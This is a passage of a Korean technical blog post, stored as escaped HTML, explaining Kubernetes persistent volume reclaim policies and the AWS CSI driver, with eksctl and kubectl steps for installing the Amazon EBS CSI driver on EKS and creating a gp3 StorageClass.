width=&quot;943&quot; height=&quot;502&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;502&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 : https://aws.amazon.com/ko/blogs/tech/persistent-storage-for-kubernetes/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;퍼시스턴트 볼륨의 사용이 끝났을 때 해당 볼륨은 어떻게 초기화할 것인지 별도로 설정할 수 있는데, 쿠버네티스는 이를 Reclaim Policy 라고 부르며&amp;nbsp;Reclaim Policy 에는 크게 Retain(보존), Delete(볼륨도 함께 삭제), &lt;span style=&quot;color: #f89009;&quot;&gt;&lt;s&gt;Recycle&lt;/s&gt;&lt;/span&gt; 방식이 있습니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #f89009;&quot;&gt;&lt;b&gt;경고&lt;/b&gt;: Recycle 반환 정책은 더 이상 사용하지 않습니다. 대신 동적 프로비저닝이 권장됩니다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;AWS CSI Driver&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;CSI Driver 배경&lt;/b&gt; : Kubernetes source code 내부에 존재하는 AWS EBS provisioner는 당연히 Kubernetes release lifecycle을 따라서 배포되므로, provisioner 신규 기능을 사용하기 위해서는 Kubernetes version을 업그레이드해야 하는 제약 사항이 있습니다. 따라서, Kubernetes 개발자는 Kubernetes 내부에 내장된 provisioner (in-tree)를 모두 삭제하고, 별도의 controller Pod을 통해 동적 provisioning을 사용할 수 있도록 만들었습니다. 이것이 바로 CSI (Container Storage Interface) driver 입니다.&lt;/li&gt;
&lt;li&gt;AWS는&amp;nbsp;&lt;a style=&quot;color: #0972d3;&quot; href=&quot;https://docs.aws.amazon.com/eks/latest/userguide/ebs-csi.html&quot;&gt;Amazon EBS&lt;/a&gt;&amp;nbsp;,&amp;nbsp;&lt;a style=&quot;color: #0972d3;&quot; href=&quot;https://docs.aws.amazon.com/eks/latest/userguide/efs-csi.html&quot;&gt;Amazon EFS&lt;/a&gt;&amp;nbsp;및&amp;nbsp;&lt;a style=&quot;color: #0972d3;&quot; href=&quot;https://docs.aws.amazon.com/eks/latest/userguide/fsx-csi.html&quot;&gt;Amazon FSx for Lustre&lt;/a&gt;&amp;nbsp;용 CSI 플러그인을 제공하고 있습니다.&lt;/li&gt;
&lt;li&gt;CSI 를 사용하면, 쿠버네티스의 공통화된 CSI 인터페이스를 통해 다양한 프로바이더를 사용할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;968&quot; data-origin-height=&quot;478&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJy7PU/btsFS0loOgC/xcRWIu7kTpAITH1CwkOjg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJy7PU/btsFS0loOgC/xcRWIu7kTpAITH1CwkOjg0/img.png&quot; data-alt=&quot;출처 : AWS 문서&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJy7PU/btsFS0loOgC/xcRWIu7kTpAITH1CwkOjg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJy7PU%2FbtsFS0loOgC%2FxcRWIu7kTpAITH1CwkOjg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;968&quot; height=&quot;478&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;968&quot; data-origin-height=&quot;478&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 : AWS 문서&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적인 CSI driver의 구조입니다. AWS EBS CSI driver 역시 아래와 같은 구조를 가지는데, 오른쪽 StatefulSet 또는 Deployment로 배포된 controller Pod이 AWS API를 사용하여 실제 EBS volume을 생성하는 역할을 합니다. 왼쪽 DaemonSet으로 배포된 node Pod은 AWS API를 사용하여 Kubernetes node (EC2 instance)에 EBS volume을 attach 해줍니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;540&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2vp15/btsFUDbVLGv/EFsi6jci3r162nm7iOYdAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2vp15/btsFUDbVLGv/EFsi6jci3r162nm7iOYdAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2vp15/btsFUDbVLGv/EFsi6jci3r162nm7iOYdAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2vp15%2FbtsFUDbVLGv%2FEFsi6jci3r162nm7iOYdAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;960&quot; height=&quot;540&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;540&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS CSI 드라이버는 크게 2개 구성요소가 있습니다. AWS API를 호출하면서 AWS 스토리지를 관리하는&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;CSI-Controller&lt;/b&gt;와 kubelet과 상호작용하면서 AWS스토리지를 pod에 마운트하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;CSI-Node&lt;/b&gt;가 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1044&quot; data-origin-height=&quot;482&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjSf0G/btsFR8w28wu/JW0ATJ8gFPHH1qZHYVafG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjSf0G/btsFR8w28wu/JW0ATJ8gFPHH1qZHYVafG0/img.png&quot; data-alt=&quot;출처 : https://malwareanalysis.tistory.com/598&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjSf0G/btsFR8w28wu/JW0ATJ8gFPHH1qZHYVafG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjSf0G%2FbtsFR8w28wu%2FJW0ATJ8gFPHH1qZHYVafG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1044&quot; height=&quot;482&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1044&quot; data-origin-height=&quot;482&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 : https://malwareanalysis.tistory.com/598&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;AWS EBS&lt;/h4&gt;
&lt;blockquote style=&quot;color: #666666; text-align: left;&quot; data-ke-style=&quot;style2&quot;&gt;AWS EBS는 Amazon Web Services의 Elastic Block Store를 나타냅니다. 이는 AWS에서 제공하는 저장용 서비스로, 영구적인 블록 스토리지를 제공합니다. 이 서비스를 사용하면 EC2 인스턴스와 같은 다른 AWS 서비스와 함께 사용할 수 있습니다. AWS EBS는 데이터를 보다 안전하게 저장하고 관리할 수 있도록 해줍니다. 이를 통해 데이터의 내구성을 보장하고, 스냅샷을 통한 백업, 복구, 확장 등의 기능을 제공합니다. AWS EBS는 다양한 성능과 용량 옵션을 제공하여 다양한 요구에 맞춰 선택할 수 있습니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;[출처 : ChatGPT]&lt;/i&gt;&lt;/blockquote&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;AWS EBS Controller&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt; PersistentVolume, PersistentVolumeClaim의&amp;nbsp;accessModes는 ReadWriteOnce로 설정해야 합니다.&lt;/li&gt;
&lt;li&gt;EBS스토리지는&amp;nbsp;&lt;span data-token-index=&quot;1&quot;&gt;동일 AZ&lt;/span&gt;에 있는 EC2 인스턴스(에 배포된 파드)에 연결해야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Amazon EBS CSI driver as an Amazon EKS add-on&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p id=&quot;0-amazon-ebs-cfi-driver-버전-확인&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;현재 EKS 클러스터의 버전에서 Amazon EBS CFI Driver의 기본 설치 버전을 확인할 수 있으며 이를 설치하는 것이 가장 좋습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710832683299&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 아래는 aws-ebs-csi-driver 전체 버전 정보와 기본 설치 버전(True) 정보 확인
aws eks describe-addon-versions \
    --addon-name aws-ebs-csi-driver \
    --kubernetes-version 1.28 \
    --query &quot;addons[].addonVersions[].[addonVersion, compatibilities[].defaultVersion]&quot; \
    --output text&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-19 오후 4.18.31.png&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;145&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AkA1L/btsFWsuv35H/G0xg6qlrxISEgQdVuCnZbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AkA1L/btsFWsuv35H/G0xg6qlrxISEgQdVuCnZbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AkA1L/btsFWsuv35H/G0xg6qlrxISEgQdVuCnZbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAkA1L%2FbtsFWsuv35H%2FG0xg6qlrxISEgQdVuCnZbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;145&quot; data-filename=&quot;스크린샷 2024-03-19 오후 4.18.31.png&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;145&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; href=&quot;https://velog.io/@rockwellvinca/EKS-AWS-EBS-CSI-Driver-%EC%84%A4%EC%B9%98-%EB%B0%8F-%EA%B5%AC%EC%84%B1&quot;&gt;AWS EBS CSI Driver&lt;/a&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;와 마찬가지로&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;IAM 정책이 AWS에서 공식 제공&lt;/b&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;됩니다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1710762085236&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# ISRA 설정 : AWS관리형 정책 AmazonEBSCSIDriverPolicy 사용
eksctl create iamserviceaccount \
  --name ebs-csi-controller-sa \
  --namespace kube-system \
  --cluster ${CLUSTER_NAME} \
  --attach-policy-arn arn:aws:iam::aws:policy/service-role/AmazonEBSCSIDriverPolicy \
  --approve \
  --role-only \
  --role-name AmazonEKS_EBS_CSI_DriverRole&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-18 at 8.44.05 PM.png&quot; data-origin-width=&quot;2124&quot; data-origin-height=&quot;578&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TLdiv/btsFR2qftVB/UaGLxkkkwd3kqYQbULoW1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TLdiv/btsFR2qftVB/UaGLxkkkwd3kqYQbULoW1k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TLdiv/btsFR2qftVB/UaGLxkkkwd3kqYQbULoW1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTLdiv%2FbtsFR2qftVB%2FUaGLxkkkwd3kqYQbULoW1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2124&quot; height=&quot;578&quot; data-filename=&quot;Screenshot 2024-03-18 at 8.44.05 PM.png&quot; data-origin-width=&quot;2124&quot; data-origin-height=&quot;578&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;EBS CSI Driver Role을 통해 생성된 &lt;/span&gt;iamserviceaccount&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;쿠버네티스에 AWS 리소스 접근 권한을 부여하기 위해&lt;/b&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;사용되는 EKS의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;IAM Service Account&lt;/b&gt;입니다.&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt; &lt;/span&gt;&lt;u&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;따라서 kubectl 명령으로는 해당 serviceaccount가 조회되지 않습니다.&lt;/span&gt;&lt;/u&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1710762315860&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# ISRA 확인
eksctl get iamserviceaccount --cluster myeks&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-18 at 8.44.40 PM.png&quot; data-origin-width=&quot;2304&quot; data-origin-height=&quot;138&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c8dtnj/btsFRsCvx0N/TsKVtXndkr8f4Os5K87sb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c8dtnj/btsFRsCvx0N/TsKVtXndkr8f4Os5K87sb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c8dtnj/btsFRsCvx0N/TsKVtXndkr8f4Os5K87sb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc8dtnj%2FbtsFRsCvx0N%2FTsKVtXndkr8f4Os5K87sb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2304&quot; height=&quot;138&quot; data-filename=&quot;Screenshot 2024-03-18 at 8.44.40 PM.png&quot; data-origin-width=&quot;2304&quot; data-origin-height=&quot;138&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p id=&quot;2-amazon-efs-csi-driver-설치-add-on-설치&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Add-on으로 Amazon E BS CSI Driver를 설치합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710762377959&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Amazon EBS CSI driver addon 추가
eksctl create addon --name aws-ebs-csi-driver --cluster ${CLUSTER_NAME} --service-account-role-arn arn:aws:iam::${ACCOUNT_ID}:role/AmazonEKS_EBS_CSI_DriverRole --force

# 확인
eksctl get addon --cluster ${CLUSTER_NAME}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-18 at 8.47.38 PM.png&quot; data-origin-width=&quot;2370&quot; data-origin-height=&quot;216&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5Za7d/btsFSZmvBwm/mzJgxkioGLLvRRGHxaMXWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5Za7d/btsFSZmvBwm/mzJgxkioGLLvRRGHxaMXWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5Za7d/btsFSZmvBwm/mzJgxkioGLLvRRGHxaMXWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5Za7d%2FbtsFSZmvBwm%2FmzJgxkioGLLvRRGHxaMXWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2370&quot; height=&quot;216&quot; data-filename=&quot;Screenshot 2024-03-18 at 8.47.38 PM.png&quot; data-origin-width=&quot;2370&quot; data-origin-height=&quot;216&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 2.25.45.png&quot; data-origin-width=&quot;1931&quot; data-origin-height=&quot;199&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AWtT6/btsFUYBPShE/CQ2rw8yIOrGpKWPzyCgof0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AWtT6/btsFUYBPShE/CQ2rw8yIOrGpKWPzyCgof0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AWtT6/btsFUYBPShE/CQ2rw8yIOrGpKWPzyCgof0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAWtT6%2FbtsFUYBPShE%2FCQ2rw8yIOrGpKWPzyCgof0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1931&quot; height=&quot;199&quot; data-filename=&quot;스크린샷 2024-03-20 오후 2.25.45.png&quot; data-origin-width=&quot;1931&quot; data-origin-height=&quot;199&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSI Controller 파드는 6개의 컨테이너로 이루어져 있는 것을 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710762820258&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kubectl get deploy,ds -l=app.kubernetes.io/name=aws-ebs-csi-driver -n kube-system
kubectl get pod -n kube-system -l app.kubernetes.io/component=csi-driver&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-18 at 8.53.13 PM.png&quot; data-origin-width=&quot;2054&quot; data-origin-height=&quot;502&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bagcAW/btsFUZ0dDso/eVie8P80yf6ACKqS19ffP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bagcAW/btsFUZ0dDso/eVie8P80yf6ACKqS19ffP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bagcAW/btsFUZ0dDso/eVie8P80yf6ACKqS19ffP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbagcAW%2FbtsFUZ0dDso%2FeVie8P80yf6ACKqS19ffP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2054&quot; height=&quot;502&quot; data-filename=&quot;Screenshot 2024-03-18 at 8.53.13 PM.png&quot; data-origin-width=&quot;2054&quot; data-origin-height=&quot;502&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;990&quot; data-origin-height=&quot;545&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/drlNuX/btsFRimKZzq/vmVAIewjvlKgFQkgUvmOKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/drlNuX/btsFRimKZzq/vmVAIewjvlKgFQkgUvmOKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/drlNuX/btsFRimKZzq/vmVAIewjvlKgFQkgUvmOKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdrlNuX%2FbtsFRimKZzq%2FvmVAIewjvlKgFQkgUvmOKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;990&quot; height=&quot;545&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;990&quot; data-origin-height=&quot;545&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #2b2b2b; text-align: start;&quot;&gt;gp3가 가격과 성능 모든 면에서 유리하기 때문이기도 하고, 용량과 IOPS, 처리량 (Throughput)을 분리하여 조절할 수 있기 때문에 gp3로 스토리지 클래스를 생성합니다. gp2에서는 1GB에 3 IOPS씩 늘어나는 구조로 되어 있어서 오직 용량만 조절할 수 있었습니다.&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #2b2b2b; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;AWS GP3은 Amazon Web Services (AWS)의 EBS(Elastic Block Store) 볼륨 유형 중 하나입니다. GP3는 General Purpose SSD(GP2)와 함께 사용되는 새로운 세대의 스토리지 볼륨으로, 고성능과 비용 효율성을 제공합니다. GP3는 이전 세대인 GP2와 비교하여 더욱 향상된 성능과 유연성을 제공합니다. 이를 통해 데이터 처리량과 IOPS(Input/Output Operations Per Second)를 향상시킬 수 있습니다. 또한 GP3는 사용자가 필요에 따라 볼륨의 크기와 성능을 조정할 수 있는 프로비저닝 옵션을 제공하여 비용을 최적화할 수 있도록 합니다. AWS GP3는 다양한 애플리케이션과 워크로드에 적합한 스토리지 솔루션으로 사용될 수 있습니다. &lt;i&gt;[출처 : ChatGPT]&lt;br /&gt;&lt;/i&gt;&lt;/blockquote&gt;
&lt;pre id=&quot;code_1710763928852&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# gp3 스토리지 클래스 생성 - Link
kubectl get sc
cat &amp;lt;&amp;lt;EOT &amp;gt; gp3-sc.yaml
kind: StorageClass
apiVersion: storage.k8s.io/v1
metadata:
  name: gp3
allowVolumeExpansion: true # 콘솔로 볼륨을 확장할 수 있는 옵션
provisioner: ebs.csi.aws.com
volumeBindingMode: WaitForFirstConsumer
parameters:
  type: gp3
  #iops: &quot;5000&quot;
  #throughput: &quot;250&quot;
  allowAutoIOPSPerGBIncrease: 'true' # 용량에 맞게끔 IOPS값도 변경될 수 있도록 옵션 설정
  encrypted: 'true'
  fsType: xfs # 기본값이 ext4
EOT
kubectl apply -f gp3-sc.yaml
kubectl get sc
kubectl describe sc gp3 | grep Parameters&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-18 at 9.12.40 PM.png&quot; data-origin-width=&quot;1436&quot; data-origin-height=&quot;114&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cHU4e6/btsFR9CMksu/m0p5vx4o1skrgViblSNR31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cHU4e6/btsFR9CMksu/m0p5vx4o1skrgViblSNR31/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cHU4e6/btsFR9CMksu/m0p5vx4o1skrgViblSNR31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcHU4e6%2FbtsFR9CMksu%2Fm0p5vx4o1skrgViblSNR31%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1436&quot; height=&quot;114&quot; data-filename=&quot;Screenshot 2024-03-18 at 9.12.40 PM.png&quot; data-origin-width=&quot;1436&quot; data-origin-height=&quot;114&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
